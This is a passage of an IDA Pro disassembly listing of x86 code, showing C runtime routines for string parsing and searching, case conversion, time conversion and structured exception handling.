cmp eax, [esp+0Ch+arg_0] jbe short loc_413636 loc_413635: ; CODE XREF: sub_4135A0+85j ; sub_4135A0+8Bj dec esi loc_413636: ; CODE XREF: sub_4135A0+8Dj ; sub_4135A0+93j xor edx, edx mov eax, esi loc_41363A: ; CODE XREF: sub_4135A0+57j dec edi jnz short loc_413644 neg edx neg eax sbb edx, 0 loc_413644: ; CODE XREF: sub_4135A0+9Bj pop ebx pop esi pop edi retn 10h sub_4135A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41364A proc near ; CODE XREF: sub_413809+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi call sub_415456 mov esi, [eax+64h] cmp esi, off_42C7BC jz short loc_413668 call sub_41628E mov esi, eax loc_413668: ; CODE XREF: sub_41364A+15j mov ecx, [ebp+arg_0] and [ebp+var_4], 0 mov bl, [ecx] lea edi, [ecx+1] loc_413674: ; CODE XREF: sub_41364A+55j cmp dword ptr [esi+28h], 1 movzx eax, bl jle short loc_41368E push 8 push eax push esi call sub_41608B mov ecx, [ebp+arg_0] add esp, 0Ch jmp short loc_413698 ; --------------------------------------------------------------------------- loc_41368E: ; CODE XREF: sub_41364A+31j mov edx, [esi+48h] movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_413698: ; CODE XREF: sub_41364A+42j test eax, eax jz short loc_4136A1 mov bl, [edi] inc edi jmp short loc_413674 ; --------------------------------------------------------------------------- loc_4136A1: ; CODE XREF: sub_41364A+50j cmp bl, 2Dh jnz short loc_4136AC or [ebp+arg_C], 2 jmp short loc_4136B1 ; --------------------------------------------------------------------------- loc_4136AC: ; CODE XREF: sub_41364A+5Aj cmp bl, 2Bh jnz short loc_4136B4 loc_4136B1: ; CODE XREF: sub_41364A+60j mov bl, [edi] inc edi loc_4136B4: ; CODE XREF: sub_41364A+65j mov eax, [ebp+arg_8] test eax, eax jl loc_4137F9 cmp eax, 1 jz loc_4137F9 cmp eax, 24h jg loc_4137F9 test eax, eax push 10h pop ecx jnz short loc_4136FC cmp bl, 30h jz short loc_4136E6 mov [ebp+arg_8], 0Ah jmp short loc_413714 ; --------------------------------------------------------------------------- loc_4136E6: ; CODE XREF: sub_41364A+91j mov al, [edi] cmp al, 78h jz short loc_4136F9 cmp al, 58h jz short loc_4136F9 mov [ebp+arg_8], 8 jmp short loc_413714 ; --------------------------------------------------------------------------- loc_4136F9: ; CODE XREF: sub_41364A+A0j ; sub_41364A+A4j mov [ebp+arg_8], ecx loc_4136FC: ; CODE XREF: sub_41364A+8Cj cmp [ebp+arg_8], ecx jnz short loc_413714 cmp bl, 30h jnz short loc_413714 mov al, [edi] cmp al, 78h jz short loc_413710 cmp al, 58h jnz short loc_413714 loc_413710: ; CODE XREF: sub_41364A+C0j inc edi mov bl, [edi] inc edi loc_413714: ; CODE XREF: sub_41364A+9Aj ; sub_41364A+ADj ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] loc_41371C: ; CODE XREF: sub_41364A+134j mov esi, off_42CE30 movzx ecx, bl mov cx, [esi+ecx*2] test cl, 4 jz short loc_413736 movsx ecx, bl sub ecx, 30h jmp short loc_413755 ; --------------------------------------------------------------------------- loc_413736: ; CODE XREF: sub_41364A+E2j test cx, 103h jz short loc_413780 cmp bl, 61h jl short loc_41374F cmp bl, 7Ah jg short loc_41374F movsx ecx, bl sub ecx, 20h jmp short loc_413752 ; --------------------------------------------------------------------------- loc_41374F: ; CODE XREF: sub_41364A+F6j ; sub_41364A+FBj movsx ecx, bl loc_413752: ; CODE XREF: sub_41364A+103j add ecx, 0FFFFFFC9h loc_413755: ; CODE XREF: sub_41364A+EAj cmp ecx, [ebp+arg_8] jnb short loc_413780 or [ebp+arg_C], 8 cmp [ebp+var_4], eax jb short loc_41376F jnz short loc_413769 cmp ecx, edx jbe short loc_41376F loc_413769: ; CODE XREF: sub_41364A+119j or [ebp+arg_C], 4 jmp short loc_41377B ; --------------------------------------------------------------------------- loc_41376F: ; CODE XREF: sub_41364A+117j ; sub_41364A+11Dj mov esi, [ebp+var_4] imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_4], esi loc_41377B: ; CODE XREF: sub_41364A+123j mov bl, [edi] inc edi jmp short loc_41371C ; --------------------------------------------------------------------------- loc_413780: ; CODE XREF: sub_41364A+F1j ; sub_41364A+10Ej mov eax, [ebp+arg_C] dec edi test al, 8 jnz short loc_413797 cmp [ebp+arg_4], 0 jz short loc_413791 mov edi, [ebp+arg_0] loc_413791: ; CODE XREF: sub_41364A+142j and [ebp+var_4], 0 jmp short loc_4137E2 ; --------------------------------------------------------------------------- loc_413797: ; CODE XREF: sub_41364A+13Cj test al, 4 mov esi, 7FFFFFFFh jnz short loc_4137BB test al, 1 jnz short loc_4137E2 and eax, 2 jz short loc_4137B2 cmp [ebp+var_4], 80000000h ja short loc_4137BB loc_4137B2: ; CODE XREF: sub_41364A+15Dj test eax, eax jnz short loc_4137E2 cmp [ebp+var_4], esi jbe short loc_4137E2 loc_4137BB: ; CODE XREF: sub_41364A+154j ; sub_41364A+166j call sub_417C70 test byte ptr [ebp+arg_C], 1 mov dword ptr [eax], 22h jz short loc_4137D2 or [ebp+var_4], 0FFFFFFFFh jmp short loc_4137E2 ; --------------------------------------------------------------------------- loc_4137D2: ; CODE XREF: sub_41364A+180j mov al, byte ptr [ebp+arg_C] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_4137E2: ; CODE XREF: sub_41364A+14Bj ; sub_41364A+158j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_4137EB mov [eax], edi loc_4137EB: ; CODE XREF: sub_41364A+19Dj test byte ptr [ebp+arg_C], 2 jz short loc_4137F4 neg [ebp+var_4] loc_4137F4: ; CODE XREF: sub_41364A+1A5j mov eax, [ebp+var_4] jmp short loc_413804 ; --------------------------------------------------------------------------- loc_4137F9: ; CODE XREF: sub_41364A+6Fj ; sub_41364A+78j ... mov eax, [ebp+arg_4] test eax, eax jz short loc_413802 mov [eax], ecx loc_413802: ; CODE XREF: sub_41364A+1B4j xor eax, eax loc_413804: ; CODE XREF: sub_41364A+1ADj pop edi pop esi pop ebx leave retn sub_41364A endp ; =============== S U B R O U T I N E ======================================= sub_413809 proc near ; CODE XREF: sub_402B1D+440p ; sub_4078FA+2787p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41364A add esp, 10h retn sub_413809 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413820 proc near ; CODE XREF: sub_402B1D+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call ds:dword_41F140 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_414600 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_413857 mov [ecx], eax locret_413857: ; CODE XREF: sub_413820+33j leave retn sub_413820 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413859 proc near ; CODE XREF: sub_4030C4+2Ap ; sub_403B4C+FDp ... var_24 = byte ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h mov eax, dword_42CE38 xor eax, [ebp+4] push ebx push esi mov esi, [ebp+arg_4] push edi mov [ebp+var_4], eax call sub_415456 push 8 pop ecx mov [ebp+arg_4], eax xor eax, eax lea edi, [ebp+var_24] push 7 rep stosd pop edi loc_413885: ; CODE XREF: sub_413859+45j mov dl, [esi] movzx ecx, dl mov eax, ecx and ecx, edi mov bl, 1 shl bl, cl shr eax, 3 lea eax, [ebp+eax+var_24] or [eax], bl inc esi test dl, dl jnz short loc_413885 mov edx, [ebp+arg_0] test edx, edx jnz short loc_4138B4 mov eax, [ebp+arg_4] mov edx, [eax+18h] jmp short loc_4138B4 ; --------------------------------------------------------------------------- loc_4138AF: ; CODE XREF: sub_413859+72j test al, al jz short loc_4138CD inc edx loc_4138B4: ; CODE XREF: sub_413859+4Cj ; sub_413859+54j mov al, [edx] movzx esi, al xor ebx, ebx mov ecx, esi and ecx, edi inc ebx shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_24] test bl, cl jnz short loc_4138AF loc_4138CD: ; CODE XREF: sub_413859+58j mov ebx, edx jmp short loc_4138E9 ; --------------------------------------------------------------------------- loc_4138D1: ; CODE XREF: sub_413859+93j movzx esi, byte ptr [edx] xor eax, eax mov ecx, esi and ecx, edi inc eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_24] test al, cl jnz short loc_4138F0 inc edx loc_4138E9: ; CODE XREF: sub_413859+76j cmp byte ptr [edx], 0 jnz short loc_4138D1 jmp short loc_4138F4 ; --------------------------------------------------------------------------- loc_4138F0: ; CODE XREF: sub_413859+8Dj and byte ptr [edx], 0 inc edx loc_4138F4: ; CODE XREF: sub_413859+95j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax+18h], edx mov eax, ebx sub eax, edx neg eax sbb eax, eax xor ecx, [ebp+4] pop edi and eax, ebx pop esi pop ebx call sub_4182D6 leave retn sub_413859 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413920 proc near ; CODE XREF: sub_403E06+23Ap ; sub_403E06+26Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4139A0 mov dh, [ecx+1] test dh, dh jz short loc_41398D loc_413938: ; CODE XREF: sub_413920+58j ; sub_413920+6Bj mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] add esi, 1 cmp al, dl jz short loc_41395E test al, al jz short loc_413958 loc_41394B: ; CODE XREF: sub_413920+36j mov al, [esi] add esi, 1 loc_413950: ; CODE XREF: sub_413920+45j cmp al, dl jz short loc_41395E test al, al jnz short loc_41394B loc_413958: ; CODE XREF: sub_413920+29j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41395E: ; CODE XREF: sub_413920+25j ; sub_413920+32j mov al, [esi] add esi, 1 cmp al, dh jnz short loc_413950 lea edi, [esi-1] loc_41396A: ; CODE XREF: sub_413920+69j mov ah, [ecx+2] test ah, ah jz short loc_413999 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_413938 mov al, [ecx+3] test al, al jz short loc_413999 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41396A jmp short loc_413938 ; --------------------------------------------------------------------------- loc_41398D: ; CODE XREF: sub_413920+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_413F36 ; --------------------------------------------------------------------------- loc_413999: ; CODE XREF: sub_413920+4Fj ; sub_413920+5Fj lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4139A0: ; CODE XREF: sub_413920+Fj mov eax, edi pop esi pop ebx pop edi retn sub_413920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139A6 proc near ; CODE XREF: sub_413A6E+1Ap var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] cmp dword ptr [esi+14h], 0 push edi jz loc_413A5A cmp dword ptr [esi+24h], 0 jz short loc_4139CC cmp ebx, 7Fh jbe loc_413A5A loc_4139CC: ; CODE XREF: sub_4139A6+1Bj xor edi, edi inc edi cmp ebx, 100h jnb short loc_4139F6 cmp [esi+28h], edi jle short loc_4139E9 push edi push ebx push esi call sub_41608B add esp, 0Ch jmp short loc_4139F2 ; --------------------------------------------------------------------------- loc_4139E9: ; CODE XREF: sub_4139A6+34j mov eax, [esi+48h] movzx eax, byte ptr [eax+ebx*2] and eax, edi loc_4139F2: ; CODE XREF: sub_4139A6+41j test eax, eax jz short loc_413A67 loc_4139F6: ; CODE XREF: sub_4139A6+2Fj mov edx, [esi+48h] mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_413A17 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_413A20 ; --------------------------------------------------------------------------- loc_413A17: ; CODE XREF: sub_4139A6+60j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, edi loc_413A20: ; CODE XREF: sub_4139A6+6Fj push edi push dword ptr [esi+4] lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 100h push dword ptr [esi+14h] call sub_4182E4 add esp, 20h test eax, eax jz short loc_413A67 cmp eax, edi jnz short loc_413A4D movzx eax, [ebp+var_4] jmp short loc_413A69 ; --------------------------------------------------------------------------- loc_413A4D: ; CODE XREF: sub_4139A6+9Fj movzx ecx, [ebp+var_3] xor eax, eax mov ah, [ebp+var_4] or eax, ecx jmp short loc_413A69 ; --------------------------------------------------------------------------- loc_413A5A: ; CODE XREF: sub_4139A6+11j ; sub_4139A6+20j cmp ebx, 41h jl short loc_413A67 cmp ebx, 5Ah lea eax, [ebx+20h] jle short loc_413A69 loc_413A67: ; CODE XREF: sub_4139A6+4Ej ; sub_4139A6+9Bj ... mov eax, ebx loc_413A69: ; CODE XREF: sub_4139A6+A5j ; sub_4139A6+B2j ... pop edi pop esi pop ebx leave retn sub_4139A6 endp ; =============== S U B R O U T I N E ======================================= sub_413A6E proc near ; CODE XREF: sub_4056EA+6p ; sub_405AD5+56p ... arg_0 = dword ptr 4 call sub_415456 mov eax, [eax+64h] cmp eax, off_42C7BC jz short loc_413A83 call sub_41628E loc_413A83: ; CODE XREF: sub_413A6E+Ej push [esp+arg_0] push eax call sub_4139A6 pop ecx pop ecx retn sub_413A6E endp ; =============== S U B R O U T I N E ======================================= sub_413A90 proc near ; CODE XREF: sub_405F05+27p ; sub_405F46+4Dp arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_413421 pop ecx pop ecx retn sub_413A90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A9E proc near ; CODE XREF: sub_418B60+60p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_413A9E endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_413ACE proc near ; CODE XREF: sub_4187DB+25p ; sub_4189E4+149p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_413ACE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AD5 proc near ; CODE XREF: sub_413B81+5Ap ; sub_418B60:loc_418B83p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov esi, large fs:0 mov [ebp+var_4], esi mov [ebp+var_8], offset loc_413AFE push 0 push [ebp+arg_4] push [ebp+var_8] push [ebp+arg_0] call sub_41E8A6 loc_413AFE: ; DATA XREF: sub_413AD5+12o mov eax, [ebp+arg_4] mov eax, [eax+4] and eax, 0FFFFFFFDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov edi, large fs:0 mov ebx, [ebp+var_4] mov [ebx], edi mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_413AD5 endp ; --------------------------------------------------------------------------- loc_413B27: ; CODE XREF: .text:0041E8BFj push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_418E69 add esp, 20h mov [ebp-4], eax pop edi pop esi pop ebx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_413B5D: ; DATA XREF: sub_413D01+17o cld mov eax, [esp+8] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push dword ptr [esp+20h] push dword ptr [eax+0Ch] push dword ptr [esp+20h] call sub_418E69 add esp, 20h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B81 proc near ; DATA XREF: sub_413D52+Bo arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_413BA2 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_413BEF ; --------------------------------------------------------------------------- loc_413BA2: ; CODE XREF: sub_413B81+10j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_418E69 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_413BE0 push [ebp+arg_0] push [ebp+arg_4] call sub_413AD5 loc_413BE0: ; CODE XREF: sub_413B81+52j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_413BEF: ; CODE XREF: sub_413B81+1Fj pop ebx pop ebp retn sub_413B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BF2 proc near ; CODE XREF: sub_418BC7+52p ; sub_418C87+E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 push ebx push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+var_4], eax mov [ebp+arg_0], esi jl short loc_413C48 loc_413C10: ; CODE XREF: sub_413BF2+51j cmp esi, 0FFFFFFFFh jnz short loc_413C1A call sub_418F40 loc_413C1A: ; CODE XREF: sub_413BF2+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] lea eax, [ebx+eax*4] cmp [eax+4], ecx jge short loc_413C2E cmp ecx, [eax+8] jle short loc_413C33 loc_413C2E: ; CODE XREF: sub_413BF2+35j cmp esi, 0FFFFFFFFh jnz short loc_413C3F loc_413C33: ; CODE XREF: sub_413BF2+3Aj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_413C3F: ; CODE XREF: sub_413BF2+3Fj cmp [ebp+arg_4], 0 jge short loc_413C10 mov eax, [ebp+var_4] loc_413C48: ; CODE XREF: sub_413BF2+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_413C5C cmp esi, eax jbe short loc_413C61 loc_413C5C: ; CODE XREF: sub_413BF2+64j call sub_418F40 loc_413C61: ; CODE XREF: sub_413BF2+68j pop edi lea eax, [esi+esi*4] pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_413BF2 endp ; =============== S U B R O U T I N E ======================================= sub_413C6C proc near ; CODE XREF: sub_41883D+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_415456 mov eax, [eax+84h] mov [esi+4], eax call sub_415456 mov [eax+84h], esi mov eax, esi pop esi retn sub_413C6C endp ; =============== S U B R O U T I N E ======================================= sub_413C94 proc near ; CODE XREF: sub_418980+4Bp arg_0 = dword ptr 4 call sub_415456 mov eax, [eax+84h] jmp short loc_413CAC ; --------------------------------------------------------------------------- loc_413CA1: ; CODE XREF: sub_413C94+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_413CB2 mov eax, [eax+4] loc_413CAC: ; CODE XREF: sub_413C94+Bj test eax, eax jnz short loc_413CA1 inc eax retn ; --------------------------------------------------------------------------- loc_413CB2: ; CODE XREF: sub_413C94+13j xor eax, eax retn sub_413C94 endp ; =============== S U B R O U T I N E ======================================= sub_413CB5 proc near ; CODE XREF: sub_418980+9p arg_0 = dword ptr 4 push esi call sub_415456 mov esi, [esp+4+arg_0] cmp esi, [eax+84h] jnz short loc_413CD7 call sub_415456 mov ecx, [esi+4] mov [eax+84h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_413CD7: ; CODE XREF: sub_413CB5+10j call sub_415456 mov eax, [eax+84h] jmp short loc_413CED ; --------------------------------------------------------------------------- loc_413CE4: ; CODE XREF: sub_413CB5+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_413CF9 mov eax, ecx loc_413CED: ; CODE XREF: sub_413CB5+2Dj cmp dword ptr [eax+4], 0 jnz short loc_413CE4 pop esi jmp sub_418F40 ; --------------------------------------------------------------------------- loc_413CF9: ; CODE XREF: sub_413CB5+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_413CB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D01 proc near ; CODE XREF: sub_41883D+71p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_10], offset loc_413B5D mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_418F70 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_413D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D52 proc near ; CODE XREF: sub_418BC7+33p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx and [ebp+var_28], 0 mov [ebp+var_24], offset sub_413B81 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_413DD5 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call sub_415456 call dword ptr [eax+74h] pop ecx pop ecx and [ebp+var_34], 0 loc_413DD5: ; DATA XREF: sub_413D52+3Ao cmp [ebp+var_4], 0 jz short loc_413DF2 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_413DFB ; --------------------------------------------------------------------------- loc_413DF2: ; CODE XREF: sub_413D52+87j mov eax, [ebp+var_28] mov large fs:0, eax loc_413DFB: ; CODE XREF: sub_413D52+9Ej mov eax, [ebp+var_34] pop ebx leave retn sub_413D52 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E04 proc near ; CODE XREF: sub_41BAF0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_413E1C push [ebp+arg_0] call sub_41E8A6 loc_413E1C: ; DATA XREF: sub_413E04+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_413E04 endp ; =============== S U B R O U T I N E ======================================= sub_413E24 proc near ; DATA XREF: sub_413E46+Ao ; sub_413EAE+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_413E45 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_413E45: ; CODE XREF: sub_413E24+10j retn sub_413E24 endp ; =============== S U B R O U T I N E ======================================= sub_413E46 proc near ; CODE XREF: sub_41BAF0+67p ; sub_41BAF0+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_413E24 push large dword ptr fs:0 mov large fs:0, esp loc_413E63: ; CODE XREF: sub_413E46:loc_413E9Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_413EA0 cmp esi, [esp+1Ch+arg_4] jz short loc_413EA0 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_413E9E push 101h mov eax, [ebx+esi*4+8] call sub_413EDA call dword ptr [ebx+esi*4+8] loc_413E9E: ; CODE XREF: sub_413E46+44j jmp short loc_413E63 ; --------------------------------------------------------------------------- loc_413EA0: ; CODE XREF: sub_413E46+2Aj ; sub_413E46+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_413E46 endp ; =============== S U B R O U T I N E ======================================= sub_413EAE proc near ; CODE XREF: sub_418980+55p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_413E24 jnz short locret_413ED0 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_413ED0 mov eax, 1 locret_413ED0: ; CODE XREF: sub_413EAE+10j ; sub_413EAE+1Bj retn sub_413EAE endp ; =============== S U B R O U T I N E ======================================= sub_413ED1 proc near ; CODE XREF: sub_418F70+1Ep ; sub_418F70+40p push ebx push ecx mov ebx, offset dword_42C730 jmp short loc_413EE4 sub_413ED1 endp ; =============== S U B R O U T I N E ======================================= sub_413EDA proc near ; CODE XREF: sub_413E46+4Fp ; sub_41BAF0+78p push ebx push ecx mov ebx, offset dword_42C730 mov ecx, [ebp+8] loc_413EE4: ; CODE XREF: sub_413ED1+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_413EDA endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_413EF4 proc near ; CODE XREF: sub_405F46+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_413EF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_413F30 loc_413F20: ; CODE XREF: sub_413F30+1Fj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_413F30 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413F30 proc near ; CODE XREF: sub_405FC7+21p ; sub_406702+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00413F20 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_413F36: ; CODE XREF: sub_413920+74j push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_413F5D loc_413F48: ; CODE XREF: sub_413F30+2Bj mov cl, [edx] add edx, 1 cmp cl, bl jz short loc_413F20 test cl, cl jz short loc_413FA6 test edx, 3 jnz short loc_413F48 loc_413F5D: ; CODE XREF: sub_413F30+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_413F68: ; CODE XREF: sub_413F30+63j ; sub_413F30+72j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi 